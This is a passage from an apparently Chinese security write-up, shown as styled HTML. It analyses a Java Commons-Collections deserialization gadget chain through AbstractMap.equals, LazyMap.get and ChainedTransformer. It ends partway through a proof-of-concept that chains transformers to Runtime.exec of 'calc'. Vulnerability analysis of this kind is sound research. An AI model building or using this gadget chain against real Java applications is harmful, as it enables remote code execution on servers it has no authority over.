0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">object</span> == <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span> ? <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">true</span> : <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.map.equals(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">object</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>}<br/></code></pre><h3 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;margin: 0px;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">AbstractMap.equals</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">可以看到</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">AbstractMapDecorator.equals</span></code><span style="font-size: 14px;">调用了</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">this.map.equals</span></code><span style="font-size: 14px;">，而当前的map是hashMap。因为hashMap没有实现equals方法所以调用父类（</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">AbstractMap</span></code><span style="font-size: 14px;">）的equals方法，代码如下：</span></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> boolean equals(Object o) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 2</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> (o == <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>)<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 3</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">true</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 4</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 5</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> (!(o instanceof Map))<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 6</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">false</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 7</span>    Map&lt;?,?&gt; m = (Map&lt;?,?&gt;) o;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 8</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> (m.size() != size())<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 9</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">false</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">10</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">11</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">try</span> {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">12</span>        Iterator&lt;Entry&lt;K,V&gt;&gt; i = entrySet().iterator();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">13</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">while</span> (i.hasNext()) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">14</span>            Entry&lt;K,V&gt; e = i.next();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">15</span>            K key = e.getKey();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">16</span>            V value = e.getValue();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">17</span>            <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> (value == <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">null</span>) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">18</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> (!(m.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">get</span>(key)==<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">null</span> &amp;&amp; m.containsKey(key)))<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">19</span>                    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">false</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">20</span>            } <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">else</span> {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">21</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> (!value.equals(m.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">get</span>(key)))<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">22</span>                    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">false</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">23</span>            }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">24</span>        }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">25</span>    } <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">catch</span> (ClassCastException unused) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">26</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">false</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">27</span>    } <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">catch</span> (NullPointerException unused) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">28</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">false</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">29</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">30</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">31</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">true</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">32</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">从代码中可以看出，首先判断参数是否是一个Map实例，如果不是则代表不相等返回false；然后判断Map的size是否一致，如果否则代表不相等返回false。 <br/>经过上面的判断后可以证明参数是一个Map并且长度一致，接下来就获取一个迭代器循环判断每个元素是否相等。 <br/>首先获取自身的key和value，然后判断自身的value是否为空，如果不为空则判断和目标参数value是否一致。判断value的时候就调用了LazyMap.get来获取value。这时候将触发我们的调用链。</span></p><h3 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;margin: 0px;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">LazyMap.get</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">从上面代码可以看到，在equals方法最后调用了LazyMap.get方法，代码如下：</span></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> Object <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">get</span>(Object key) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> (!<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.map.containsKey(key)) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>        Object value = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.factory.transform(key);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.map.put(key, value);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> value;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">6</span>    } <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">else</span> {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">7</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.map.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">get</span>(key);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">8</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">9</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">这时候我们要控制代码执行if语句块中的代码，所以</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">this.map.containsKey</span></code><span style="font-size: 14px;">一定要为false。所以两个lazyMap中put的key不能一样。</span></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Map</span> lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>lazyMap1.put((short)<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">12</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">12</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Map</span> lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span>lazyMap2.put(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> URL(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<a href="http://www.baidu.com" target="_blank">http://www.baidu.com</a>&#34;</span>), <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">-588894355</span>);<br/></code></pre><h3 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;margin: 0px;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">ChainedTransformer.transform</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">接下来就进入了</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">this.factory.transform(key)</span></code><span style="font-size: 14px;">这个调用，而factory就是我们精心构造的命令执行的调用链。 <br/>这个调用链在每个CC链中都有用到，这里就不展开了。</span></p><h3 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;margin: 0px;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">最终POC</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">最后贴一下本地测试demo</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 1</span>public <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">class</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">demo1</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 2</span>    public <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">static</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">void</span> main(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">String</span>[] args) throws Exception{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 3</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">String</span> command = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;calc&#34;</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 4</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">final</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">String</span>[] execArgs = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">String</span>[]{command};<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 5</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 6</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">final</span> Transformer transformerChain = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ChainedTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Transformer[]{});<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 7</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 8</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">final</span> Transformer[] transformers = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Transformer[]{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 9</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ConstantTransformer(Runtime.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span>),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 